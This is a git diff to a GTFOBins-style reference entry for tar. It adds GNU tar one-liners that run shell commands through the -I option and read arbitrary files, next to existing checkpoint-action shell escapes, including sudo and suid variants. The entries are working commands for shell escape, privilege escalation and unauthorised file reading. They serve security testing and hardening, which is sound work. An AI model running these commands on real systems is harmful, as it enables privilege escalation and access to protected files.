diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index f2afc76b..19fd34d2 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -2,6 +2,9 @@ functions: execute-interactive: - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh + execute-non-interactive: + - description: This only works for GNU tar. + code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"' sudo-enabled: - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh suid-limited: @@ -13,4 +16,9 @@ functions: TF=$(mktemp) echo data > "$TF" tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P + file-read: + - description: This only works for GNU tar. + code: | + LFILE=file_to_read + tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"' ---